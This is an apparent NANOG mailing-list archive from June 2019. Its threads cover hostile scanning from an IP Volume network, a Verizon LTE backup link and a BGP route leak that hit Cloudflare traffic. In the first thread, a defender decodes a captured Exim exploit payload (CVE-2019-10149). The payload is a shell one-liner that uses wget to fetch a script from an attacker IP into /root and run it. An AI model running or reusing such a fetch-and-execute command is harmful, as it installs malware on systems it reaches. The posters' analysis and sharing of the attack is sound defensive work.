System Administrator From andy at strugglers.net Sun Jun 23 04:04:13 2019 From: andy at strugglers.net (Andy Smith) Date: Sun, 23 Jun 2019 04:04:13 +0000 Subject: Russian Anal Probing + Malware In-Reply-To: References: <46055.1561162415@segfault.tristatelogic.com> Message-ID: <20190623040413.GP8410@bitfolk.com> Hello, On Sat, Jun 22, 2019 at 11:01:13AM -0600, Keith Medcalf wrote: > What malware slinging? Some user there is trying to exploit CVE-2018-10149: 2019-06-11 11:28:35 SMTP protocol synchronization error (next input sent too soon: pipelining was not advertised): rejected "RCPT TO:" H=(myhostname) [89.248.171.57] next input="QUIT\n" Plus another 17 attempts by that IP through to 19 June. $ printf "\x2fbin\x2fsh\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dT\x2036\x20https\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldm1ip\x20\x2dO\x20\x2froot\x2f\x2eyyearz\x20\x26\x26\x20sh\x20\x2froot\x2f\x2eyyearz\x20\x2dn\x20\x26\x22\n" /bin/sh -c "wget --no-check-certificate -T 36 hxxps://185.162.235.211/ldm1ip -O /root/.yyearz && sh /root/.yyearz -n &" (I replaced https with hxxps to prevent auto-link-followers from hitting the site.) Cheers, Andy From rfg at tristatelogic.com Sun Jun 23 05:51:58 2019 From: rfg at tristatelogic.com (Ronald F. Guilmette) Date: Sat, 22 Jun 2019 22:51:58 -0700 Subject: Russian Anal Probing + Malware In-Reply-To: Message-ID: <52069.1561269118@segfault.tristatelogic.com> In message , "Keith Medcalf" wrote: >On Friday, 21 June, 2019 18:14, Ronald F. Guilmette com> wrote: > >> https://twitter.com/GreyNoiseIO/status/1129017971135995904 >> https://twitter.com/JayTHL/status/1128718224965685248 > >Sorry, don't twitter ... Too much malicious JavaScript there. Can you be more, um, specific? >>80.82.64.21 scanner29.openportstats.com >>... > >Why do you think it is a problem and not just run-of-the-mill background >radiation on the Internet? It's not a problem for me personally... other than the fact that these goofballs are filling up my log files to no good end. I just wanted others to be aware of this (apparently ongoing) garbage. And I wouldn't want anyone to be fooled by the mere fact that this openportstats.com domain has a sort-of a web site. It's still 100% illegitimate. >Do you (or your endpoints) not have a firewall to block such things? I do, and I hope everyone else does also. >What malware slinging? I see none of that. You didn't look at the Twitter reports. >> https://bit.ly/2ZBayc4 > >Malicious link detected. If you say so. (It's actually just a cute picture.) Regards, rfg From rsk at gsp.org Sun Jun 23 17:14:05 2019 From: rsk at gsp.org (Rich Kulawiec) Date: Sun, 23 Jun 2019 13:14:05 -0400 Subject: Russian Anal Probing + Malware In-Reply-To: <46055.1561162415@segfault.tristatelogic.com> References: <46055.1561162415@segfault.tristatelogic.com> Message-ID: <20190623171405.GA17387@gsp.org> On Fri, Jun 21, 2019 at 05:13:35PM -0700, Ronald F. Guilmette wrote: > Is there anybody on this list who keeps firewall logs and who > DOESN'T have numerous hits recorded therein from one or more > of the following IP addresses? Well, I *did*, but having noticed their activities and grown tired of them, I now just drop their traffic on the floor (and log it). They are one of several operations that I've noticed who have taken it upon themselves to poke at open (and closed) ports without bothering to ask. Assuming for a moment the most charitable interpretation of their collective actions -- that they are earnest researching problems with the intention of helping to solve them -- this is still highly problematic for two reasons: 1. They didn't ask permission. 2. Whether they realize it or not, they're building a target. When, not if, their results database(s) are compromised, they will have furnished the attackers with a comprehensive target list, painstakingly gathered at no cost to them and thoughtfully annotated with whatever metadata has been collected. ---rsk From goemon at sasami.anime.net Sun Jun 23 20:37:55 2019 From: goemon at sasami.anime.net (Dan Hollis) Date: Sun, 23 Jun 2019 13:37:55 -0700 (PDT) Subject: Russian Anal Probing + Malware In-Reply-To: <0102016b8137b94b-ce4d0a67-92c5-48c5-952e-d69be862d6eb-000000@eu-west-1.amazonses.com> References: <46055.1561162415@segfault.tristatelogic.com> <0102016b8137b94b-ce4d0a67-92c5-48c5-952e-d69be862d6eb-000000@eu-west-1.amazonses.com> Message-ID: On Sat, 22 Jun 2019, Filip Hruska wrote: > It's just a port/vulnerability scanner, I really don't see anything special > about this particular case. they are pushing exploits. trying to RCE, wget a binary, chmod 777 on routers and rm -rf files. this goes way beyond scanner and into criminal trespass and destruction of property. https://twitter.com/JayTHL/status/1128700101675954176 remain ignorant if you want. -Dan From randy at psg.com Sun Jun 23 21:23:01 2019 From: randy at psg.com (Randy Bush) Date: Sun, 23 Jun 2019 14:23:01 -0700 Subject: Russian Anal Probing + Malware In-Reply-To: References: <46055.1561162415@segfault.tristatelogic.com> <0102016b8137b94b-ce4d0a67-92c5-48c5-952e-d69be862d6eb-000000@eu-west-1.amazonses.com> Message-ID: >> It's just a port/vulnerability scanner, I really don't see anything >> special about this particular case. > > they are pushing exploits. trying to RCE, wget a binary, chmod 777 on > routers and rm -rf files. > > this goes way beyond scanner and into criminal trespass and > destruction of property. > > https://twitter.com/JayTHL/status/1128700101675954176 having trouble following the attribution. yes, of course there are folk trying to exploit. but missing the link that *these* folk are. e.g. i am aware of researchers scanning to see patching spread and trying to make a conext paper dreadline this week or infocom next month. hard to tell the sheep from the goats and the wolf from the sheep. i get the appended. sheep or wholf? i sure do not claim to be smart enough to know. but i sure am glad others are . randy --- Jun 20 18:53:23 winnti-scanner-victims-will-be-notified.threatsinkhole.com �V�Dz/� Jun 20 18:53:23 ran rsyslogd: imtcp imtcp: Framing Error in received TCP message from peer: (hostname) winnti-scanner-victims-will-be-notified.threatsinkhole.com, (ip) winnti-scanner-victims-will-be-notified.threatsinkhole.com: delimiter is not SP but has ASCII value -51. [v8.32.0] Jun 20 18:53:55 winnti-scanner-victims-will-be-notified.threatsinkhole.com �t�C� #000F#000#000#000#000#000����#000#000#000#000#001#004F#000#000#000#003#010�=)�#027�$�#000#000#000#000#000++#000#000#000#000(#000#000#000#000#000#000#000#000#000#000#000#000#000#000#000#001#001#000#000#000#000#026#000#000#000#000#000#000#000#000#000#000#000#000#000#000#000#000#000#000#000#004#000#000#000#000#000#000#000#000#000#004#000#000#000#000 From brad at persius.net Sun Jun 23 21:43:00 2019 From: brad at persius.net (Brad) Date: Sun, 23 Jun 2019 21:43:00 +0000 Subject: Russian Anal Probing + Malware In-Reply-To: <46055.1561162415@segfault.tristatelogic.com> References: <46055.1561162415@segfault.tristatelogic.com> Message-ID: See inline responses... ‐‐‐‐‐‐‐ Original Message ‐‐‐‐‐‐‐ On Friday, June 21, 2019 6:13 PM, Ronald F. Guilmette wrote: > https://twitter.com/GreyNoiseIO/status/1129017971135995904 > https://twitter.com/JayTHL/status/1128718224965685248 After forwarding these links to a sanitized client on another network, I saw nothing on the "twitter reports" which suggest these subnets are doing anything other than port scanning. For those who refuse to follow Twitter links (I'm with ya): There is one cropped screen shot of a pcap with some incomplete information for a entirely different subnet and zero useful intel. Am I missing something, or do you have any actual log files to support your claims of malware slinging from these guys? ....and I do not want "popularity contest" results of the twitter-verse - to protect our networks. Real data is needed. We need to know what we are looking for specifically. As for the network probing - this is why those activities are blocked and other techniques are implemented to obscure the usefulness of the data they collect. The way I see it... If people go poking their hands in the honey jars without permission, they may just get something they do not want or expect (I hear non-consensual probing can infect the violator with certain diseases, and that would be a shame) > Friday Questionaire: > > Is there anybody on this list who keeps firewall logs and who > DOESN'T have numerous hits recorded therein from one or more > of the following IP addresses? > [snip] > > NOTE: Dshield has already assigned an 8 rating on their Badness Richter > Scale to the specific one of the above addresses that's been poking me > personally in recent days: > > https://www.dshield.org/ipinfo.html?ip=89.248.162.168 > https://www.dshield.org/ipdetails.html?ip=89.248.162.168 > > And the Dshield rating is just based on the probing. The addition of > malware slinging also puts this whole mess over the top entirely. What malware? > Oh! And I'll save you all the time looking it up.... 100% of the IPs > listed above are on AS202425 "IP Volume, Inc. allegedly of the Seychelles > Islands, where the employees and management are no doubt enjoying their > luxurious and expansive new corporate headquarters... Sounds like a good deal. > > https://bit.ly/2ZBayc4 I do not follow external links generally, as a rule, without compelling need and additional measures taken. > > Regards, > rfg > > P.S. This is the kind of thing that everybody really should expect > when the U.S. Department of Defense takes it upon itself to start up > its own little private and unauthorized (cyber)war on Russia, wthout > first obtaining the consent of Congress... you know, kinda like that > ancient yellowed document that nobody in this country reads anymore > says they should. And apparently, the DoD was understandably not > anxious to brief even the President about all this... > > https://www.businessinsider.com/us-officials-hide-russia-cyber-operation-trump-2019-6 > > (Not that anybody can really blame them for THAT.) P.S - Lets try to keep politics off the list. We get enough of that everywhere else. Thanks, Brad From goemon at sasami.anime.net Sun Jun 23 21:46:52 2019 From: goemon at sasami.anime.net (Dan Hollis) Date: Sun, 23 Jun 2019 14:46:52 -0700 (PDT) Subject: Russian Anal Probing + Malware In-Reply-To: References: <46055.1561162415@segfault.tristatelogic.com> <0102016b8137b94b-ce4d0a67-92c5-48c5-952e-d69be862d6eb-000000@eu-west-1.amazonses.com> Message-ID: On Sun, 23 Jun 2019, Randy Bush wrote: >>> It's just a port/vulnerability scanner, I really don't see anything >>> special about this particular case. >> they are pushing exploits. trying to RCE, wget a binary, chmod 777 on >> routers and rm -rf files. >> >> this goes way beyond scanner and into criminal trespass and >> destruction of property. >> >> https://twitter.com/JayTHL/status/1128700101675954176 > having trouble following the attribution. yes, of course there are folk > trying to exploit. but missing the link that *these* folk are. https://pbs.twimg.com/media/D6oBGYPUwAECG09.png you're trying to defend them? -Dan From andy at strugglers.net Sun Jun 23 22:03:26 2019 From: andy at strugglers.net (Andy Smith) Date: Sun, 23 Jun 2019 22:03:26 +0000 Subject: Russian Anal Probing + Malware In-Reply-To: References: <46055.1561162415@segfault.tristatelogic.com> Message-ID: <20190623220326.GU8410@bitfolk.com> Hi Brad, On Sun, Jun 23, 2019 at 09:43:00PM +0000, Brad via NANOG wrote: > On Friday, June 21, 2019 6:13 PM, Ronald F. Guilmette wrote: > > > https://twitter.com/GreyNoiseIO/status/1129017971135995904 > > https://twitter.com/JayTHL/status/1128718224965685248 > > After forwarding these links to a sanitized client on another network, I saw nothing on the "twitter reports" which suggest these subnets are doing anything other than port scanning. Earlier I posted one example of an attempt to exploit CVE-2019-10149 to execute commands as root on one of my machines. I have 17 other examples from the same IP that try to do similar things via the same exploit, though there are differences which suggest to me that multiple users or groups are using openportstats for this purpose. Would you like to see them? I think that trying to actively exploit a bug to execute arbitrary commands is a lot different to mere port scanning. They aren't all harmless commands either; some of them install rootkits and remote shells. Cheers, Andy From hank at efes.iucc.ac.il Mon Jun 24 04:24:13 2019 From: hank at efes.iucc.ac.il (Hank Nussbacher) Date: Mon, 24 Jun 2019 07:24:13 +0300 Subject: Russian Anal Probing + Malware In-Reply-To: References: <46055.1561162415@segfault.tristatelogic.com> <0102016b8137b94b-ce4d0a67-92c5-48c5-952e-d69be862d6eb-000000@eu-west-1.amazonses.com> Message-ID: On 24/06/2019 00:23, Randy Bush wrote: > e.g. i am aware of researchers scanning to see patching spread and > trying to make a conext paper dreadline this week or infocom next month. > > hard to tell the sheep from the goats and the wolf from the sheep. i > get the appended. sheep or wholf? i sure do not claim to be smart > enough to know. but i sure am glad others are . Greynoise can be your friend: https://greynoise.io/about https://viz.greynoise.io/table -Hank > > randy > > --- From dovid at telecurve.com Mon Jun 24 09:50:31 2019 From: dovid at telecurve.com (Dovid Bender) Date: Mon, 24 Jun 2019 05:50:31 -0400 Subject: Cellular backup connections In-Reply-To: References: Message-ID: All, I finally got around to putting in a Verizon LTE connection and the ping times are pretty good. There is the occasional issue however for the most part ping times are < 50 ms. I have another strange issue though. When I try to ssh or connect via the endpoints web interface it fails. If I first connect via PPTP or SSL VPN then it works. I ruled out it being my IP since if I connect direct from the PPTP or SSL VPN box then it fails as well. It seems the tunnel does something (perhaps lowering the MTU or fragmenting packets) that allows it to work. Any thoughts? TIA. On Mon, Feb 4, 2019 at 8:18 AM Dovid Bender wrote: > Anyone know if Verizon static IP's over LTE have same issue where they > bounce the traffic around before it gets back to the NY metro area? > > > > On Thu, Jan 3, 2019 at 6:46 PM Dovid Bender wrote: > >> All, >> >> Thanks for all of the feedback. I was on site today and noticed two >> things. >> 1) As someone mentioned it could be for static IP's they have the traffic >> going to a specific location. The POP is in NJ there was a min. latency of >> 120ms which prob had to do with this. >> 2) I was watching the ping times and it looked something like this: >> 400ms >> 360ms >> 330ms >> 300ms >> 260ms >> 210ms >> 170ms >> 140ms >> 120ms >> 400ms >> 375ms >> >> It seems to have been coming in "waves". I assume this has to do with >> "how cellular work" and the signal. I tried moving it around by putting it >> down low on the floor, moving it locations etc. and saw the same thing >> every time. I am going to try Verizon next and see how it goes. >> >> >> >> On Sat, Dec 29, 2018 at 12:13 PM Mark Milhollan >> wrote: >> >>> On Fri, 28 Dec 2018, Dovid Bender wrote: >>> >>> >I finally got around to setting up a cellular backup device in our new >>> POP. >>> >>> >When SSH'ing in remotely the connection seems rather slow. >>> >>> Perhaps using MOSH can help make the interactive CLI session less >>> annoying. >>> >>> >Verizon they charge $500.00 just to get a public IP and I want to avoid >>> >that if possible. >>> >>> You might look into have it call out / maintain a connection back to >>> your infrastructure. >>> >>> >>> /mark >>> >> -------------- next part -------------- An HTML attachment was scrubbed... URL: From dmitry at interhost.net Mon Jun 24 10:55:24 2019 From: dmitry at interhost.net (Dmitry Sherman) Date: Mon, 24 Jun 2019 10:55:24 +0000 Subject: CloudFlare issues? Message-ID: Hello are there any issues with CloudFlare services now? Dmitry Sherman dmitry at interhost.net Interhost Networks Ltd Web: http://www.interhost.co.il fb: https://www.facebook.com/InterhostIL Office: (+972)-(0)74-7029881 Fax: (+972)-(0)53-7976157 From daknob.mac at gmail.com Mon Jun 24 11:03:47 2019 From: daknob.mac at gmail.com (Antonios Chariton) Date: Mon, 24 Jun 2019 14:03:47 +0300 Subject: CloudFlare issues? In-Reply-To: References: Message-ID: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> Yes, traffic from Greek networks is routed through NYC (alter.net ), and previously it had a 60% packet loss. Now it’s still via NYC, but no packet loss. This happens in GR-IX Athens, not GR-IX Thessaloniki, but the problem definitely exists. Antonis > On 24 Jun 2019, at 13:55, Dmitry Sherman > wrote: > > Hello are there any issues with CloudFlare services now? > > Dmitry Sherman > dmitry at interhost.net > Interhost Networks Ltd > Web: http://www.interhost.co.il > fb: https://www.facebook.com/InterhostIL > Office: (+972)-(0)74-7029881 Fax: (+972)-(0)53-7976157 > -------------- next part -------------- An HTML attachment was scrubbed... URL: From jhellenthal at dataix.net Mon Jun 24 11:41:27 2019 From: jhellenthal at dataix.net (J. Hellenthal) Date: Mon, 24 Jun 2019 06:41:27 -0500 Subject: Cellular backup connections In-Reply-To: References: Message-ID: Could be wrong on this but direct SSH on the LTE side may possibly be not allowed(filtered) and might just be something you could discuss in a ticket with Verizon. -- J. Hellenthal The fact that there's a highway to Hell but only a stairway to Heaven says a lot about anticipated traffic volume. > On Jun 24, 2019, at 04:50, Dovid Bender wrote: > > All, > > I finally got around to putting in a Verizon LTE connection and the ping times are pretty good. There is the occasional issue however for the most part ping times are < 50 ms. I have another strange issue though. When I try to ssh or connect via the endpoints web interface it fails. If I first connect via PPTP or SSL VPN then it works. I ruled out it being my IP since if I connect direct from the PPTP or SSL VPN box then it fails as well. It seems the tunnel does something (perhaps lowering the MTU or fragmenting packets) that allows it to work. Any thoughts? > > TIA. > > > > >> On Mon, Feb 4, 2019 at 8:18 AM Dovid Bender wrote: >> Anyone know if Verizon static IP's over LTE have same issue where they bounce the traffic around before it gets back to the NY metro area? >> >> >> >>> On Thu, Jan 3, 2019 at 6:46 PM Dovid Bender wrote: >>> All, >>> >>> Thanks for all of the feedback. I was on site today and noticed two things. >>> 1) As someone mentioned it could be for static IP's they have the traffic going to a specific location. The POP is in NJ there was a min. latency of 120ms which prob had to do with this. >>> 2) I was watching the ping times and it looked something like this: >>> 400ms >>> 360ms >>> 330ms >>> 300ms >>> 260ms >>> 210ms >>> 170ms >>> 140ms >>> 120ms >>> 400ms >>> 375ms >>> >>> It seems to have been coming in "waves". I assume this has to do with "how cellular work" and the signal. I tried moving it around by putting it down low on the floor, moving it locations etc. and saw the same thing every time. I am going to try Verizon next and see how it goes. >>> >>> >>> >>>> On Sat, Dec 29, 2018 at 12:13 PM Mark Milhollan wrote: >>>> On Fri, 28 Dec 2018, Dovid Bender wrote: >>>> >>>> >I finally got around to setting up a cellular backup device in our new POP. >>>> >>>> >When SSH'ing in remotely the connection seems rather slow. >>>> >>>> Perhaps using MOSH can help make the interactive CLI session less >>>> annoying. >>>> >>>> >Verizon they charge $500.00 just to get a public IP and I want to avoid >>>> >that if possible. >>>> >>>> You might look into have it call out / maintain a connection back to >>>> your infrastructure. >>>> >>>> >>>> /mark -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 2357 bytes Desc: not available URL: From james.jun at towardex.com Mon Jun 24 11:43:12 2019 From: james.jun at towardex.com (James Jun) Date: Mon, 24 Jun 2019 07:43:12 -0400 Subject: CloudFlare issues? In-Reply-To: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> Message-ID: <20190624114312.GA335@mis10.towardex.com> On Mon, Jun 24, 2019 at 02:03:47PM +0300, Antonios Chariton wrote: > Yes, traffic from Greek networks is routed through NYC (alter.net ), and previously it had a 60% packet loss. Now it???s still via NYC, but no packet loss. This happens in GR-IX Athens, not GR-IX Thessaloniki, but the problem definitely exists. > It seems Verizon has stopped filtering a downstream customer, or filtering broke. Time to implement peer locking path filters for those using VZ as paid peer.. Network Next Hop Metric LocPrf Weight Path * 2.18.64.0/24 137.39.3.55 0 701 396531 33154 174 6057 i * 2.19.251.0/24 137.39.3.55 0 701 396531 33154 174 6057 i * 2.22.24.0/23 137.39.3.55 0 701 396531 33154 174 6057 i * 2.22.26.0/23 137.39.3.55 0 701 396531 33154 174 6057 i * 2.22.28.0/24 137.39.3.55 0 701 396531 33154 174 6057 i * 2.24.0.0/16 137.39.3.55 0 701 396531 33154 3356 12576 i * 202.232.0.2 0 2497 701 396531 33154 3356 12576 i * 2.24.0.0/13 202.232.0.2 0 2497 701 396531 33154 3356 12576 i * 2.25.0.0/16 137.39.3.55 0 701 396531 33154 3356 12576 i * 202.232.0.2 0 2497 701 396531 33154 3356 12576 i * 2.26.0.0/16 137.39.3.55 0 701 396531 33154 3356 12576 i * 202.232.0.2 0 2497 701 396531 33154 3356 12576 i * 2.27.0.0/16 137.39.3.55 0 701 396531 33154 3356 12576 i * 202.232.0.2 0 2497 701 396531 33154 3356 12576 i * 2.28.0.0/16 137.39.3.55 0 701 396531 33154 3356 12576 i * 202.232.0.2 0 2497 701 396531 33154 3356 12576 i * 2.29.0.0/16 137.39.3.55 0 701 396531 33154 3356 12576 i * 202.232.0.2 0 2497 701 396531 33154 3356 12576 i * 2.30.0.0/16 137.39.3.55 0 701 396531 33154 3356 12576 i * 202.232.0.2 0 2497 701 396531 33154 3356 12576 i * 2.31.0.0/16 137.39.3.55 0 701 396531 33154 3356 12576 i * 202.232.0.2 0 2497 701 396531 33154 3356 12576 i * 2.56.16.0/22 137.39.3.55 0 701 396531 33154 1239 9009 i * 2.56.150.0/24 137.39.3.55 0 701 396531 33154 1239 9009 i * 2.57.48.0/22 137.39.3.55 0 701 396531 33154 174 50782 i * 2.58.47.0/24 137.39.3.55 0 701 396531 33154 1239 9009 i * 2.59.0.0/23 137.39.3.55 0 701 396531 33154 1239 9009 i * 2.59.244.0/22 137.39.3.55 0 701 396531 33154 3356 29119 i * 2.148.0.0/14 137.39.3.55 0 701 396531 33154 3356 2119 i * 3.5.128.0/24 137.39.3.55 0 701 396531 33154 3356 16509 i * 3.5.128.0/22 137.39.3.55 0 701 396531 33154 3356 16509 i From me at robbiet.us Mon Jun 24 11:44:07 2019 From: me at robbiet.us (Robbie Trencheny) Date: Mon, 24 Jun 2019 04:44:07 -0700 Subject: CloudFlare issues? In-Reply-To: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> Message-ID: >From John Graham-Cumming, CTO of Cloudflare, on Hacker News right now: This appears to be a routing problem with Level3. All our systems are running normally but traffic isn't getting to us for a portion of our domains. 1128 UTC update Looks like we're dealing with a route leak and we're talking directly with the leaker and Level3 at the moment. 1131 UTC update Just to be clear this isn't affecting all our traffic or all our domains or all countries. A portion of traffic isn't hitting Cloudflare. Looks to be about an aggregate 10% drop in traffic to us. 1134 UTC update We are now certain we are dealing with a route leak. On Mon, Jun 24, 2019 at 04:04 Antonios Chariton wrote: > Yes, traffic from Greek networks is routed through NYC (alter.net), and > previously it had a 60% packet loss. Now it’s still via NYC, but no packet > loss. This happens in GR-IX Athens, not GR-IX Thessaloniki, but the problem > definitely exists. > > Antonis > > > On 24 Jun 2019, at 13:55, Dmitry Sherman wrote: > > Hello are there any issues with CloudFlare services now? > > Dmitry Sherman > dmitry at interhost.net > Interhost Networks Ltd > Web: http://www.interhost.co.il > fb: https://www.facebook.com/InterhostIL > Office: (+972)-(0)74-7029881 Fax: (+972)-(0)53-7976157 > > > -- -- Robbie Trencheny (@robbie ) 925-884-3728 robbie.io -------------- next part -------------- An HTML attachment was scrubbed... URL: From dovid at telecurve.com Mon Jun 24 11:45:41 2019 From: dovid at telecurve.com (Dovid Bender) Date: Mon, 24 Jun 2019 07:45:41 -0400 Subject: Cellular backup connections In-Reply-To: References: Message-ID: I am getting the same for SSH and https traffic. It's strange. Where the response is something small like: Moved to this location. It works But when I try to load pages that are any bigger it fails. Like I said before I assume it's either an issue with the MTU or window szie. I was just wondering if anyone encountered such an issue before. It's not easy getting to someone that knows something. When you have some sort of concrete info the level1 techs tend to pass you along faster. On Mon, Jun 24, 2019 at 7:41 AM J. Hellenthal wrote: > Could be wrong on this but direct SSH on the LTE side may possibly be not > allowed(filtered) and might just be something you could discuss in a ticket > with Verizon. > > -- > J. Hellenthal > > The fact that there's a highway to Hell but only a stairway to Heaven says > a lot about anticipated traffic volume. > > On Jun 24, 2019, at 04:50, Dovid Bender wrote: > > All, > > I finally got around to putting in a Verizon LTE connection and the ping > times are pretty good. There is the occasional issue however for the most > part ping times are < 50 ms. I have another strange issue though. When I > try to ssh or connect via the endpoints web interface it fails. If I first > connect via PPTP or SSL VPN then it works. I ruled out it being my IP since > if I connect direct from the PPTP or SSL VPN box then it fails as well. It > seems the tunnel does something (perhaps lowering the MTU or fragmenting > packets) that allows it to work. Any thoughts? > > TIA. > > > > > On Mon, Feb 4, 2019 at 8:18 AM Dovid Bender wrote: > >> Anyone know if Verizon static IP's over LTE have same issue where they >> bounce the traffic around before it gets back to the NY metro area? >> >> >> >> On Thu, Jan 3, 2019 at 6:46 PM Dovid Bender wrote: >> >>> All, >>> >>> Thanks for all of the feedback. I was on site today and noticed two >>> things. >>> 1) As someone mentioned it could be for static IP's they have the >>> traffic going to a specific location. The POP is in NJ there was a min. >>> latency of 120ms which prob had to do with this. >>> 2) I was watching the ping times and it looked something like this: >>> 400ms >>> 360ms >>> 330ms >>> 300ms >>> 260ms >>> 210ms >>> 170ms >>> 140ms >>> 120ms >>> 400ms >>> 375ms >>> >>> It seems to have been coming in "waves". I assume this has to do with >>> "how cellular work" and the signal. I tried moving it around by putting it >>> down low on the floor, moving it locations etc. and saw the same thing >>> every time. I am going to try Verizon next and see how it goes. >>> >>> >>> >>> On Sat, Dec 29, 2018 at 12:13 PM Mark Milhollan >>> wrote: >>> >>>> On Fri, 28 Dec 2018, Dovid Bender wrote: >>>> >>>> >I finally got around to setting up a cellular backup device in our new >>>> POP. >>>> >>>> >When SSH'ing in remotely the connection seems rather slow. >>>> >>>> Perhaps using MOSH can help make the interactive CLI session less >>>> annoying. >>>> >>>> >Verizon they charge $500.00 just to get a public IP and I want to >>>> avoid >>>> >that if possible. >>>> >>>> You might look into have it call out / maintain a connection back to >>>> your infrastructure. >>>> >>>> >>>> /mark >>>> >>> -------------- next part -------------- An HTML attachment was scrubbed... URL: From dovid at telecurve.com Mon Jun 24 11:51:46 2019 From: dovid at telecurve.com (Dovid Bender) Date: Mon, 24 Jun 2019 07:51:46 -0400 Subject: CloudFlare issues? In-Reply-To: References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> Message-ID: We are seeing issues as well getting to HE. The traffic is going via Alter. On Mon, Jun 24, 2019 at 7:48 AM Robbie Trencheny wrote: > From John Graham-Cumming, CTO of Cloudflare, on Hacker News right now: > > This appears to be a routing problem with Level3. All our systems are > running normally but traffic isn't getting to us for a portion of our > domains. > > 1128 UTC update Looks like we're dealing with a route leak and we're > talking directly with the leaker and Level3 at the moment. > > 1131 UTC update Just to be clear this isn't affecting all our traffic or > all our domains or all countries. A portion of traffic isn't hitting > Cloudflare. Looks to be about an aggregate 10% drop in traffic to us. > > 1134 UTC update We are now certain we are dealing with a route leak. > > On Mon, Jun 24, 2019 at 04:04 Antonios Chariton > wrote: > >> Yes, traffic from Greek networks is routed through NYC (alter.net), and >> previously it had a 60% packet loss. Now it’s still via NYC, but no packet >> loss. This happens in GR-IX Athens, not GR-IX Thessaloniki, but the problem >> definitely exists. >> >> Antonis >> >> >> On 24 Jun 2019, at 13:55, Dmitry Sherman wrote: >> >> Hello are there any issues with CloudFlare services now? >> >> Dmitry Sherman >> dmitry at interhost.net >> Interhost Networks Ltd >> Web: http://www.interhost.co.il >> fb: https://www.facebook.com/InterhostIL >> Office: (+972)-(0)74-7029881 Fax: (+972)-(0)53-7976157 >> >> >> -- > -- > Robbie Trencheny (@robbie ) > 925-884-3728 > robbie.io > -------------- next part -------------- An HTML attachment was scrubbed... URL: From me at robbiet.us Mon Jun 24 11:52:38 2019 From: me at robbiet.us (Robbie Trencheny) Date: Mon, 24 Jun 2019 04:52:38 -0700 Subject: CloudFlare issues? In-Reply-To: References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> Message-ID: *1147 UTC update* Staring at internal graphs looks like global traffic is now at 97% of expected so impact lessening. On Mon, Jun 24, 2019 at 04:51 Dovid Bender wrote: > We are seeing issues as well getting to HE. The traffic is going via Alter. > > > > On Mon, Jun 24, 2019 at 7:48 AM Robbie Trencheny wrote: > >> From John Graham-Cumming, CTO of Cloudflare, on Hacker News right now: >> >> This appears to be a routing problem with Level3. All our systems are >> running normally but traffic isn't getting to us for a portion of our >> domains. >> >> 1128 UTC update Looks like we're dealing with a route leak and we're >> talking directly with the leaker and Level3 at the moment. >> >> 1131 UTC update Just to be clear this isn't affecting all our traffic or >> all our domains or all countries. A portion of traffic isn't hitting >> Cloudflare. Looks to be about an aggregate 10% drop in traffic to us. >> >> 1134 UTC update We are now certain we are dealing with a route leak. >> >> On Mon, Jun 24, 2019 at 04:04 Antonios Chariton >> wrote: >> >>> Yes, traffic from Greek networks is routed through NYC (alter.net), and >>> previously it had a 60% packet loss. Now it’s still via NYC, but no packet >>> loss. This happens in GR-IX Athens, not GR-IX Thessaloniki, but the problem >>> definitely exists. >>> >>> Antonis >>> >>> >>> On 24 Jun 2019, at 13:55, Dmitry Sherman wrote: >>> >>> Hello are there any issues with CloudFlare services now? >>> >>> Dmitry Sherman >>> dmitry at interhost.net >>> Interhost Networks Ltd >>> Web: http://www.interhost.co.il >>> fb: https://www.facebook.com/InterhostIL >>> Office: (+972)-(0)74-7029881 Fax: (+972)-(0)53-7976157 >>> >>> >>> -- >> -- >> Robbie Trencheny (@robbie ) >> 925-884-3728 >> robbie.io >> > -- -- Robbie Trencheny (@robbie ) 925-884-3728 robbie.io -------------- next part -------------- An HTML attachment was scrubbed... URL: From tom at cloudflare.com Mon Jun 24 12:18:27 2019 From: tom at cloudflare.com (Tom Paseka) Date: Mon, 24 Jun 2019 08:18:27 -0400 Subject: CloudFlare issues? In-Reply-To: References: <05BB24C5-9322-414B-B3DC-58BB6C895E80@gmail.com> Message-ID: a Verizon downstream BGP customer is leaking the full table, and some more specific from us and many other providers. On Mon, Jun 24, 2019 at 7:56 AM Robbie Trencheny wrote: > *1147 UTC update* Staring at internal graphs looks like global traffic is > now at 97% of expected so impact lessening. > > On Mon, Jun 24, 2019 at 04:51 Dovid Bender wrote: > >> We are seeing issues as well getting to HE. The traffic is going via >> Alter. >> >> >> >> On Mon, Jun 24, 2019 at 7:48 AM Robbie Trencheny wrote: >> >>> From John Graham-Cumming, CTO of Cloudflare, on Hacker News right now: >>> >>> This appears to be a routing problem with Level3. All our systems are >>> running normally but traffic isn't getting to us for a portion of our >>> domains. >>> >>> 1128 UTC update Looks like we're dealing with a route leak and we're >>> talking directly with the leaker and Level3 at the moment. >>> >>> 1131 UTC update Just to be clear this isn't affecting all our traffic or >>> all our domains or all countries. A portion of traffic isn't hitting >>> Cloudflare. Looks to be about an aggregate 10% drop in traffic to us. >>> >>> 1134 UTC update We are now certain we are dealing with a route leak. >>> >>> On Mon, Jun 24, 2019 at 04:04 Antonios Chariton >>> wrote: >>> >>>> Yes, traffic from Greek networks is routed through NYC (alter.net), >>>> and previously it had a 60% packet loss. Now it’s still via NYC, but no >>>> packet loss. This happens in GR-IX Athens, not GR-IX Thessaloniki, but the >>>> problem definitely exists. >>>> >>>> Antonis >>>> >>>> >>>> On 24 Jun 2019, at 13:55, Dmitry Sherman wrote: >>>> >>>> Hello are there any issues with CloudFlare services now? >>>> >>>> Dmitry Sherman >>>> dmitry at interhost.net >>>> Interhost Networks Ltd >>>> Web: http://www.interhost.co.il >>>> fb: https://www.facebook.com/InterhostIL >>>> Office: (+972)-(0)74-7029881 Fax: (+972)-(0)53-7976157 >>>> >>>> >>>> -- >>> -- >>> Robbie Trencheny (@robbie ) >>> 925-884-3728 >>> robbie.io >>> >> -- > -- > Robbie Trencheny (@robbie ) > 925-884-3728 > robbie.io > -------------- next part -------------- An HTML 